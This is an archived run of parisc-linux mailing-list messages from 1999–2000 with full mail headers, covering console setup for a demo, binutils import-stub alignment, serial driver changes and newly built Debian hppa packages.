	id <TN9XR61V>; Tue, 26 Sep 2000 10:39:36 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8005

Oops, s/serial/graphics/

Up 'til now, we have always used a serial connection to another box (x86
Linux) to demo PA/Linux.  The question now - are we ready to try this
standalone, via a local keyboard and monitor.

Alan

>-----Original Message-----
>From: MEYER,ALAN C. (HP-FtCollins,ex1) [mailto:alan_meyer@hp.com]
>Sent: Tuesday, September 26, 2000 10:26 AM
>To: parisc-linux@thepuffingroup.com
>Subject: [parisc-linux] Serial console?
>
>
>We are going to ship a PA box to the Atlanta Linux Symposium 
>to be in the HP
>booth.
>
>My question - do we have enough working to just a standalone 
>PA box, with
>its own keyboard and serial console?   Has anyone been using this
>configuration lately?  Does it work?
>
>Alan
>
>---------------------------------------------------------------
>------------
>To unsubscribe: send e-mail to 
>parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.
>


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial console?
Date: Wed, 27 Sep 2000 00:26:21 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20000927002621.A2220@alpha.franken.de>
References: <56D553C0B61BD311AD2300A0C9F485C20841F8CA@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619146 4091 80.91.229.3 (22 Nov 2014 01:19:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "MEYER,ALAN C. HP-FtCollins,ex1\"" <alan_meyer@hp.com>
Original-X-From: tsbogend@alpha.franken.de  Tue Sep 26 16:49:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA13302
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 16:49:40 -0600
Original-Received: (qmail 17067 invoked by uid 15267); 26 Sep 2000 22:50:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17055 invoked from network); 26 Sep 2000 22:50:26 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 22:50:26 -0000
Original-Received: by rachael.franken.de 
	for parisc-linux@thepuffingroup.com
	id m13e3YN-0027mPC; Tue, 26 Sep 2000 23:50:23 +0100 (MET)
Original-Received: from dns.franken.de(193.175.24.33), claiming to be "chico.franken.de"
 via SMTP by rachael.franken.de, id smtpdAAAa16719; Tue Sep 26 23:50:04 2000
Original-Received: by chico.franken.de with UUCP 
	for alan_meyer@hp.com
	id m13e3Y3-0032oWC; Wed, 27 Sep 2000 00:50:03 +0200 (MET DST)
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id AAA02224;
	Wed, 27 Sep 2000 00:26:21 +0200
X-Mailer: Mutt 1.0.1i
In-Reply-To: <56D553C0B61BD311AD2300A0C9F485C20841F8CA@xfc02.fc.hp.com>; from alan_meyer@hp.com on Tue, Sep 26, 2000 at 10:39:33AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:8006

On Tue, Sep 26, 2000 at 10:39:33AM -0600, MEYER,ALAN C. HP-FtCollins,ex1" wrote:
> Oops, s/serial/graphics/
> 
> Up 'til now, we have always used a serial connection to another box (x86
> Linux) to demo PA/Linux.  The question now - are we ready to try this
> standalone, via a local keyboard and monitor.

I had a working graphic console on a 712/80 during LinuxTag in Stuttgart
a couple of months ago (well some keys didn't work, but it was good
enough).

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils dhd
Date: Wed, 27 Sep 2000 10:57:32 +1100 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009271045001.10201-100000@front.linuxcare.com.au>
References: <200009262152.PAA12726@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619147 4093 80.91.229.3 (22 Nov 2014 01:19:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@puffin.external.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep 26 17:57:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA13926
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 17:57:25 -0600
Original-Received: (qmail 19510 invoked by uid 15267); 26 Sep 2000 23:58:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19463 invoked from network); 26 Sep 2000 23:58:10 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 23:58:10 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA11701;
	Wed, 27 Sep 2000 10:57:32 +1100
In-Reply-To: <200009262152.PAA12726@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8007

On Tue, 26 Sep 2000, David Huggins-Daines wrote:

> Sometimes we get the "split field selectors" problem in import stubs
> if the distance between the GP and the PLT is not a multiple of 8
> bytes.  Use alignment constraints on .plt, .got, and .data to fix
> this.

Ouch.  But aligning doesn't fix the problem (well, it may in a particular
case).  The reason aligning won't always work is that import and long
branch stubs are interspersed in the stub section, and PIC long branch
stubs happen to be 12 bytes long.  Which messes with your carefully
constructed 8 byte alignment.

The proper fix is to use lr_sel and rr_sel when building the import stubs,
so I'm reverting your change unless you have some other reason for wanting
8 byte alignment.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils dhd
Date: Wed, 27 Sep 2000 11:44:23 +1100 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009271141380.10201-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0009271045001.10201-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619147 4099 80.91.229.3 (22 Nov 2014 01:19:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@puffin.external.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep 26 18:43:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA14550
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 18:43:52 -0600
Original-Received: (qmail 30282 invoked by uid 15267); 27 Sep 2000 00:44:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30240 invoked from network); 27 Sep 2000 00:44:38 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 27 Sep 2000 00:44:38 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA12900;
	Wed, 27 Sep 2000 11:44:23 +1100
In-Reply-To: <Pine.LNX.4.21.0009271045001.10201-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8008

On Wed, 27 Sep 2000, Alan Modra wrote:

> On Tue, 26 Sep 2000, David Huggins-Daines wrote:
> 
> > Sometimes we get the "split field selectors" problem in import stubs
> > if the distance between the GP and the PLT is not a multiple of 8
> > bytes.  Use alignment constraints on .plt, .got, and .data to fix
> > this.
> 
> Ouch.  But aligning doesn't fix the problem (well, it may in a particular
> case).  The reason aligning won't always work is that import and long
> branch stubs are interspersed in the stub section, and PIC long branch
> stubs happen to be 12 bytes long.  Which messes with your carefully
> constructed 8 byte alignment.

No, that's wrong.  Aligning the .plt and gp _will_ fix the problem, but
using lrsel/rrsel is still the better solution.

> The proper fix is to use lr_sel and rr_sel when building the import stubs,
> so I'm reverting your change unless you have some other reason for wanting
> 8 byte alignment.
> 
> Alan

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Wed, 27 Sep 2000 02:17:17 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20000927021717.A18365@parcelfarce.linux.theplanet.co.uk>
References: <39CBF956.4833E405@subcarrier.org> <20000925122211.F1363@data.upl.cs.wisc.edu> <39CF91F5.DEE1C632@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619147 4102 80.91.229.3 (22 Nov 2014 01:19:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, adevries@linuxcare.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: willy@www.linux.org.uk  Tue Sep 26 19:16:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA15057
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 19:16:45 -0600
Original-Received: (qmail 25092 invoked by uid 15267); 27 Sep 2000 01:17:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25085 invoked from network); 27 Sep 2000 01:17:27 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 27 Sep 2000 01:17:27 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13e5qX-0004vu-00; Wed, 27 Sep 2000 02:17:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <39CF91F5.DEE1C632@subcarrier.org>; from mang@subcarrier.org on Mon, Sep 25, 2000 at 01:57:09PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8009

On Mon, Sep 25, 2000 at 01:57:09PM -0400, Michael Ang wrote:
> The cvs tarballs on the ftp site are owned by user "adevries".  From
> this I guess that Alex has a cron job that packages the tarballs.
> 
> Alex, can you please update your scripts?

Now that Matt's buildtools are in CVS, this script should probably also
be in CVS, and it should be run by user `al-76'.  (the significance of
this name may be noted by some of you :-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Tue, 26 Sep 2000 19:29:07 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20000927012907.CD1BF381CD@carmen.fc.hp.com>
References: <39CBF956.4833E405@subcarrier.org> <20000925122211.F1363@data.upl.cs.wisc.edu> <39CF91F5.DEE1C632@subcarrier.org>  <20000927021717.A18365@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619148 4103 80.91.229.3 (22 Nov 2014 01:19:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:08 +0000 (UTC)
Cc: Michael Ang <mang@subcarrier.org>, parisc-linux@thepuffingroup.com,
        adevries@linuxcare.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: taggart@carmen.fc.hp.com  Tue Sep 26 19:26:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA15408
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 19:26:34 -0600
Original-Received: (qmail 1620 invoked by uid 15267); 27 Sep 2000 01:27:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1609 invoked from network); 27 Sep 2000 01:27:21 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 27 Sep 2000 01:27:21 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP
	id 2A729756; Tue, 26 Sep 2000 19:27:04 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id CD1BF381CD; Tue, 26 Sep 2000 19:29:07 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Matthew Wilcox <matthew@wil.cx> 
   of "Wed, 27 Sep 2000 02:17:17 BST." <20000927021717.A18365@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8010


Matthew Wilcox writes...

> On Mon, Sep 25, 2000 at 01:57:09PM -0400, Michael Ang wrote:
> > The cvs tarballs on the ftp site are owned by user "adevries".  From
> > this I guess that Alex has a cron job that packages the tarballs.
> > 
> > Alex, can you please update your scripts?
> 
> Now that Matt's buildtools are in CVS, this script should probably also
> be in CVS, and it should be run by user `al-76'.  (the significance of
> this name may be noted by some of you :-)

Good idea. I'll move it over once we're moved over to the new system.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Warning re: serial driver change
Date: Tue, 26 Sep 2000 23:53:06 -0600 (MDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <200009270553.XAA05971@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619148 4104 80.91.229.3 (22 Nov 2014 01:19:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Tue Sep 26 23:52:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA16929
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Sep 2000 23:52:20 -0600
Original-Received: (qmail 2871 invoked by uid 15267); 27 Sep 2000 05:53:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2861 invoked from network); 27 Sep 2000 05:53:07 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 27 Sep 2000 05:53:07 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel1.hp.com (Postfix) with ESMTP id A4247195
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Sep 2000 23:53:17 -0600 (MDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id XAA05971 for parisc-linux@thepuffingroup.com; Tue, 26 Sep 2000 23:53:06 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8011

I've been using a plug in PCI serial card on my J5000 for some time now,
but I had to make changes to the serial driver to get it to work.  One of
the changes was a workaround for a problem that I did not know the root
cause of.  I spent some time tonight tracking down that root cause (a bug
in pci_write_config_byte on Astro/Ike based machines with later revision
chips) and fixed it.

The other change I had a few concerns about, and wanted to do some
more testing on a few other machines before I checked the change
into the serial driver. Matt Taggart and I did that testing today,
so I just recently checked in the changes.

However, I need to warn you about this change.  Previously Martin Peterson
had made a change to the driver to not initialize the UART, since the
parisc firmware had already initialized it.  He experienced problems with
the serial port (like garbage output) if the UART was initialized a second
time.

However, this change was a problem for plug in (pci) serial cards, since
the firmware doesn't know about them, and did not initialize them.  I
thought about some kind of special case test, but at least on my A180, the
built in serial port still worked when I reverted the driver to the
previous state (i.e. the driver initializes the UART in all cases).  Matt
Taggart also tested the change on a Gecko and a C200. These represent
most of the machines (or very similar machines) that people are working
on. However, they are all LASI based, so it may not be a wide enough
sample.

Anyway, I am hoping that whatever originally caused the problem Martin
Peterson was seeing is now fixed.  If that is the case, this is the best
solution, since it removes one more parisc specific change to common code.
If you see garbage output after the message "Switching from PDC console",
then this is not the case, and we will have to try to find the root cause
and/or find a different solution.

So, if your serial port stops working, you can use the previous version
as a temporary workaround. Please let me know if you have any problems,
and tell me the specific configuration you are able to reproduce the
problem on.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Mon, 29 Mar 1999 16:55:07 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <199903292200.RAA12330@lucifier.dial-up.user.akula.net>
References: <199903292146.NAA28577@bart.allegro.com>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619148 4106 80.91.229.3 (22 Nov 2014 01:19:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:08 +0000 (UTC)
To: sieler@allegro.com (Stan Sieler)
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Mon Mar 29 17:00:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA04640
	for <parisc-linux@sod.res.cmu.edu>; Mon, 29 Mar 1999 17:00:23 -0500
Original-Received: (qmail 5611 invoked by uid 15267); 29 Mar 1999 21:58:54 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 5604 invoked from network); 29 Mar 1999 21:58:51 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 29 Mar 1999 21:58:51 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.2/8.9.2) id RAA12330
	for hppa-linux@thepuffingroup.com; Mon, 29 Mar 1999 17:00:07 -0500 (EST)
In-Reply-To: <199903292146.NAA28577@bart.allegro.com> from Stan Sieler at "Mar 29, 99 01:46:02 pm"
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Original-Sender: mickey@lucifier.dial-up.user.akula.net
Xref: news.gmane.org gmane.linux.ports.parisc:8012

Making, drinking tea and reading an opus magnum from Stan Sieler:
> Hi,
re

> > okie, but why emulating gate instruction, when there is already such
> > instruction exist? (;
> 
> Simple: HP does this...there must be a reason.
> 
> They appear to do it on selected models of PA-RISC systems.  Why?  Don't know.
which models? could it be level 1 systems w/ less VM resources?

> I can only conjecture...and the conjecture is the obvious one: there must be
> some circumstance where GATE fails.  Otherwise, *why* replace it with
> a slightly slower mechanism?
hardware bug for example? maybe again on certain systems w/ less
tlb size and/or cache.

btw, lites/mklinux do not emulate gate.

cu


-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new debs and nfsroot tarball
Date: Wed, 27 Sep 2000 04:47:54 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20000927104754.570BC381CD@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619149 4110 80.91.229.3 (22 Nov 2014 01:19:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:09 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Wed Sep 27 04:45:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA29053
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Sep 2000 04:45:24 -0600
Original-Received: (qmail 856 invoked by uid 15267); 27 Sep 2000 10:46:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 849 invoked from network); 27 Sep 2000 10:46:06 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 27 Sep 2000 10:46:06 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP id C1A20A3
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Sep 2000 04:46:16 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 570BC381CD; Wed, 27 Sep 2000 04:47:54 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:8013

I have built native dynamic versions of the following Debian woody packages,

cpio_2.4.2-32_hppa.deb
debhelper_2.1.11_all.deb
findutils_4.1-40_hppa.deb
grep_2.4.2-1_hppa.deb
gzip_1.2.4-33_hppa.deb
hostname_2.07_hppa.deb
ldso_1.9.11-9_hppa.deb
sed_3.02-6_hppa.deb
sysvinit_2.78-4_hppa.deb
tar_1.13.17-2_hppa.deb
texinfo_4.0-4_hppa.deb

I have added them to the repository at,

http://puffin.external.hp.com/debian-hppa

Some of these we only had in static/cross-compiled form and some are new. I 
have added the above packages to the nfsroot tarball and placed it at,

ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/nfsroot-20000927.tar.g
z

There are still a few things that have not been rebuilt native/dynamic. I hope 
to do those later this week.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils dhd
Date: 27 Sep 2000 10:31:59 -0400
Organization: Linuxcare, Inc.
Lines: 21
Approved: news@gmane.org
Message-ID: <87hf71oqhs.fsf@tarwebok.i-did-not-set--mail-host-address--so-shoot-me>
References: <Pine.LNX.4.21.0009271045001.10201-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619149 4114 80.91.229.3 (22 Nov 2014 01:19:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Wed Sep 27 08:31:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA30473
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Sep 2000 08:31:23 -0600
Original-Received: (qmail 9878 invoked by uid 15267); 27 Sep 2000 14:32:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9866 invoked from network); 27 Sep 2000 14:32:11 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 27 Sep 2000 14:32:11 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13eIFb-0007RM-00; Wed, 27 Sep 2000 10:31:59 -0400
Original-Lines: 20
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8014

Alan Modra <alan@linuxcare.com.au> writes:

> The reason aligning won't always work is that import and long branch
> stubs are interspersed in the stub section, and PIC long branch
> stubs happen to be 12 bytes long.  Which messes with your carefully
> constructed 8 byte alignment.

No, the issue is the alignment of the distance between the GP and the
PLT, it has nothing to do with the placement of the stubs AFAIK.

> The proper fix is to use lr_sel and rr_sel when building the import stubs,
> so I'm reverting your change unless you have some other reason for wanting
> 8 byte alignment.

Okay, so long as this fixes it, I have no objections.  My changes were
pretty ugly anyway.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] floating point exception error
Date: Wed, 27 Sep 2000 13:55:00 -0600
Lines: 197
Approved: news@gmane.org
Message-ID: <20000927195500.57241381CD@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_-16236947030"
X-Trace: ger.gmane.org 1416619149 4119 80.91.229.3 (22 Nov 2014 01:19:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Wed Sep 27 13:52:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA04988
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Sep 2000 13:52:28 -0600
Original-Received: (qmail 24099 invoked by uid 15267); 27 Sep 2000 19:53:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24089 invoked from network); 27 Sep 2000 19:53:13 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 27 Sep 2000 19:53:13 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP id 8A7DE671
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Sep 2000 13:53:22 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 57241381CD
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Sep 2000 13:55:00 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:8015

This is a multipart MIME message.

--==_Exmh_-16236947030
Content-Type: text/plain; charset=us-ascii

In trying to build mawk I ran into a bug when the configure tried to test 
"floating point exceptions". Attached is the output. BTW- the gawk does 
something similar at the same point in it's configure.

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com


--==_Exmh_-16236947030
